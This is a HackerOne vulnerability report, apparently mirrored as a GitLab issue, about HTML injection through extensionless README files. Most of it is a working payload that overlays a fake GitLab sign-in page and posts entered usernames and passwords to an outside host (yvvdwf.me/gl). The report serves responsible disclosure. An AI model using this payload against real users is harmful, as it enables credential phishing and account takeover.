HTML content injection in README file
**[HackerOne report #1777934](https://hackerone.com/reports/1777934)** by `yvvdwf` on 2022-11-18, assigned to @nmalcolm:
[Report](#report) | [How To Reproduce](#how-to-reproduce)
## Report
Hi,
##### Summary
Gitlab recently changed the way to render plain text file
```ruby
### https://gitlab.com/gitlab-org/gitlab/-/blob/053729ecfd3d2b3d2e0ce3618b35cb3c46472897/app/services/markup/rendering_service.rb#L66
def plain_unsafe
"<pre class=\"plain-readme\">#{text}</pre>"
end
```
This allows to inject any HTML content. Although the content is then sanitized by Dumpurify via `v-safe-html` directly. The sanitization allows `<form>` tag, thus this can be used to popup a login form. If users enter their credential, then their account will be taken over.
I submit this report when considering the ease of exploitation and its impact (although the HTML content injection does not lead to any kind of XSS). Because the content of `README` file is loaded by default in the main view of a project, attackers may easily trick users to fill their credential in the dummy login form, for example.
##### Steps to reproduce
- in an existing project or create a new one
- add a file naming `README` (please note that no extension here, `README.md` does not work) with the following content:
```html
</pre>
<div class="flash-container flash-container-page sticky" data-qa-selector="flash_container">
<div class="gl-alert flash-notice gl-alert-info" data-testid="alert-info" role="alert">
<svg class="s16 gl-alert-icon gl-alert-icon-no-title" data-testid="information-o-icon"><use href="https://gitlab.com/assets/icons-02e23cfb3d83e7293d7b4d2b457f8cd4cb75d3c78cfbedc946bf90bf97c2ed73.svg#information-o"></use></svg>
<button aria-label="Dismiss" class="btn gl-dismiss-btn btn-default btn-sm gl-button btn-default-tertiary btn-icon js-close" type="button">
<svg class="s16" data-testid="close-icon"><use href="https://gitlab.com/assets/icons-02e23cfb3d83e7293d7b4d2b457f8cd4cb75d3c78cfbedc946bf90bf97c2ed73.svg#close"></use></svg>
</button>
<div class="gl-alert-content" role="alert">
<div class="gl-alert-body">
Loading content ...
</div>
</div>
</div>
</div>
<style>[@]keyframes fadeIn {99% {visibility: hidden;} 100% { visibility: visible;}</style>
<div style="position:fixed!important;top:0px;left:0px;right:0px;bottom:0px;background-color:white;z-index:9999; animation: 3s fadeIn; animation-fill-mode: forwards;visibility: hidden;">
<div style="position:fixed!important;top:0px;left:0px;right:0px;bottom:0px;background-color:var(--gray-50)">
<div class="page-wrap borderless">
<div class="login-page-broadcast">
</div>
<div class="container navless-container">
<div class="content">
<div class="flash-container flash-container-page sticky" data-qa-selector="flash_container">
<div class="gl-alert flash-alert gl-alert-danger" data-testid="alert-danger" role="alert">
<svg class="s16 gl-alert-icon gl-alert-icon-no-title" data-testid="error-icon">
<use href="https://gitlab.com/assets/icons-02e23cfb3d83e7293d7b4d2b457f8cd4cb75d3c78cfbedc946bf90bf97c2ed73.svg#error"></use>
</svg>
<button aria-label="Dismiss" class="btn gl-dismiss-btn btn-default btn-sm gl-button btn-default-tertiary btn-icon js-close" type="button">
<svg class="s16" data-testid="close-icon">
<use href="https://gitlab.com/assets/icons-02e23cfb3d83e7293d7b4d2b457f8cd4cb75d3c78cfbedc946bf90bf97c2ed73.svg#close"></use>
</svg>
</button>
<div class="gl-alert-content" role="alert">
<div class="gl-alert-body">
You need to sign in or sign up before continuing.
</div>
</div>
</div>
</div>
<div class="mt-3">
<div class="col-sm-12 gl-text-center">
<img alt="GitLab.com" class="gl-w-10 js-lazy-loaded" src="https://gitlab.com/assets/logo-911de323fa0def29aaf817fca33916653fc92f3ff31647ac41d2c39bbe243edb.svg" loading="lazy" data-qa_selector="js_lazy_loaded_content">
<h1 class="mb-3 gl-font-size-h2">
GitLab.com
</h1>
</div>
</div>
<div class="mb-3">
<div class="gl-w-half gl-xs-w-full gl-ml-auto gl-mr-auto bar">
<div id="signin-container">
<div class="tab-content">
<div class="login-box tab-pane active" id="login-pane" role="tabpanel">
<div class="login-body">
<form class="new_user gl-show-field-errors js-arkose-labs-form" id="new_user" aria-live="assertive" data-testid="sign-in-form" action="https://yvvdwf.me/gl" accept-charset="UTF-8" method="post">
<input type="hidden" name="authenticity_token" value="" autocomplete="off">
<div class="form-group gl-px-5 gl-pt-5">
<label for="user_login" class="label-bold gl-mb-1">Username or email</label>
<input class="form-control gl-form-input top js-username-field" autofocus="autofocus" autocapitalize="off" autocorrect="off" required="required" title="This field is required." data-qa-selector="login_field" data-testid="username-field" type="text" name="user[login]" id="user_login">
<p class="gl-field-error hidden">This field is required.</p>
</div>
<div class="form-group gl-px-5">
<label class="label-bold gl-mb-1" for="user_password">Password</label>
<input class="form-control gl-form-input bottom" autocomplete="current-password" required="required" title="This field is required." data-qa-selector="password_field" data-testid="password-field" type="password" name="user[password]" id="user_password">
<p class="gl-field-error hidden">This field is required.</p>
</div>
<div class="gl-px-5">
<div class="gl-display-inline-block">
<div class="gl-form-checkbox custom-control custom-checkbox">
<input name="user[remember_me]" type="hidden" value="0" autocomplete="off"><input class="custom-control-input" type="checkbox" value="1" name="user[remember_me]" id="user_remember_me">
<label class="custom-control-label" for="user_remember_me"><span>Remember me</span></label>
</div>
</div>
<div class="gl-float-right">
<a href="/users/password/new">Forgot your password?</a>
</div>
</div>
<div></div>
<div>
<!----> <!----> <!---->
<div data-testid="arkose-labs-challenge" class="gl-display-flex gl-justify-content-center gl-mt-3 gl-mb-n3 js-arkose-labs-container-1" style="display: none;"></div>
<!---->
</div>
<div class="submit-container move-submit-down gl-px-5">
<button name="button" type="submit" class="gl-button btn btn-block btn-confirm js-sign-in-button js-no-auto-disable" data-qa-selector="sign_in_button" data-testid="sign-in-button">Sign in</button>
</div>
</form>
</div>
</div>
</div>
<p class="gl-px-5">
By signing in you accept the <a href="/-/users/terms" target="_blank" rel="noreferrer noopener">Terms of Use and acknowledge the Privacy Policy and Cookie Policy</a>.
</p>
<p class="gl-mt-3 gl-text-center">
Don't have an account yet?
<a data-qa-selector="register_link" href="/users/sign_up">Register now</a>
</p>
<div class="clearfix">
<div class="omniauth-container gl-mt-5 gl-p-5 gl-text-center gl-w-90p gl-ml-auto gl-mr-auto">
<label class="gl-font-weight-normal">
Sign in with
</label>
<div class="gl-display-flex gl-flex-wrap gl-justify-content-center">
<form class="gl-mb-3" method="post" action="/users/auth/google_oauth2"><button id="oauth-login-google_oauth2" class="btn gl-button btn-default gl-ml-2 gl-mr-2 gl-mb-2 js-oauth-login " type="submit"><img alt="Google" title="Sign in with Google" class="gl-button-icon js-lazy-loaded" src="https://gitlab.com/assets/auth_buttons/google_64-9ab7462cd2115e11f80171018d8c39bd493fc375e83202fbb6d37a487ad01908.png" loading="lazy" data-qa_selector="js_lazy_loaded_content">
<span class="gl-button-text">
Google
</span>
</button><input type="hidden" name="authenticity_token" value="" autocomplete="off">
</form>
<form class="gl-mb-3" method="post" action="/users/auth/github"><button id="oauth-login-github" class="btn gl-button btn-default gl-ml-2 gl-mr-2 gl-mb-2 js-oauth-login " type="submit"><img alt="GitHub" title="Sign in with GitHub" class="gl-button-icon js-lazy-loaded" src="https://gitlab.com/assets/auth_buttons/github_64-84041cd0ea392220da96f0fb9b9473c08485c4924b98c776be1bd33b0daab8c0.png" loading="lazy" data-qa_selector="js_lazy_loaded_content">
<span class="gl-button-text">
GitHub
</span>
</button><input type="hidden" name="authenticity_token" value="" autocomplete="off">
</form>
<form class="gl-mb-3" method="post" action="/users/auth/twitter"><button id="oauth-login-twitter" class="btn gl-button btn-default gl-ml-2 gl-mr-2 gl-mb-2 js-oauth-login " type="submit"><img alt="Twitter" title="Sign in with Twitter" class="gl-button-icon js-lazy-loaded" src="https://gitlab.com/assets/auth_buttons/twitter_64-22f28114e53ba8324a944fc07b5a5739a78d2a4083d07c0ea2fec2bc1ebfc49d.png" loading="lazy" data-qa_selector="js_lazy_loaded_content">
<span class="gl-button-text">
Twitter
</span>
</button><input type="hidden" name="authenticity_token" value="" autocomplete="off">
</form>
<form class="gl-mb-3" method="post" action="/users/auth/bitbucket"><button id="oauth-login-bitbucket" class="btn gl-button btn-default gl-ml-2 gl-mr-2 gl-mb-2 js-oauth-login " type="submit"><img alt="Bitbucket" title="Sign in with Bitbucket" class="gl-button-icon js-lazy-loaded" src="https://gitlab.com/assets/auth_buttons/bitbucket_64-daa496030c0c290748e3c2e50f7464d2f5de0e019cce728930e0508a6dac815c.png" loading="lazy" data-qa_selector="js_lazy_loaded_content">
<span class="gl-button-text">
Bitbucket
</span>
</button><input type="hidden" name="authenticity_token" value="" autocomplete="off">
</form>
<form class="gl-mb-3" method="post" action="/users/auth/salesforce"><button id="oauth-login-salesforce" class="btn gl-button btn-default gl-ml-2 gl-mr-2 gl-mb-2 js-oauth-login " type="submit"><img alt="Salesforce" title="Sign in with Salesforce" class="gl-button-icon js-lazy-loaded" src="https://gitlab.com/assets/auth_buttons/salesforce_64-0fb2c008b7c8d627aadda7ec593509e0bd402752df28d8a17b04ac1a30c26ef9.png" loading="lazy" data-qa_selector="js_lazy_loaded_content">
<span class="gl-button-text">
Salesforce
</span>
</button><input type="hidden" name="authenticity_token" value="" autocomplete="off">
</form>
</div>
<div class="gl-form-checkbox custom-control custom-checkbox">
<input type="checkbox" name="remember_me" id="remember_me" class="custom-control-input">
<label class="custom-control-label" for="remember_me"><span>Remember me
</span></label>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<hr class="footer-fixed">
<div class="container footer-container">
<div class="footer-links">
<a href="/explore">Explore</a>
<a href="/help">Help</a>
<a href="https://about.gitlab.com">About GitLab</a>
<a target="_blank" class="text-nowrap" rel="noopener noreferrer" href="https://forum.gitlab.com">Community forum</a>
</div>
</div>
</div>
```
- save the file, then back to the main page of the project
- you should see a login popup that appears after 3 seconds which is adjustable.
- if the form is submited, its target is outside `gitlab.com`, e.g., `https://yvvdwf.me/gl`, then the username/password will be leaked
##### Impact
A risk to leak username and password of victims
##### Examples
https://gitlab.com/yvvdwf/dummy-login
##### What is the current *bug* behavior?
HTML tag in a plain text is not escaped
##### What is the expected *correct* behavior?
HTML tag in a plain text should be escaped
##### Output of checks
This bug happens on GitLab.com
#### Impact
A risk to leak username and password of victim
## How To Reproduce
Please add [reproducibility information] to this section:
1.
1.
1.
## Video

[reproducibility information]: https://about.gitlab.com/handbook/engineering/security/#reproducibility-on-security-issues
issue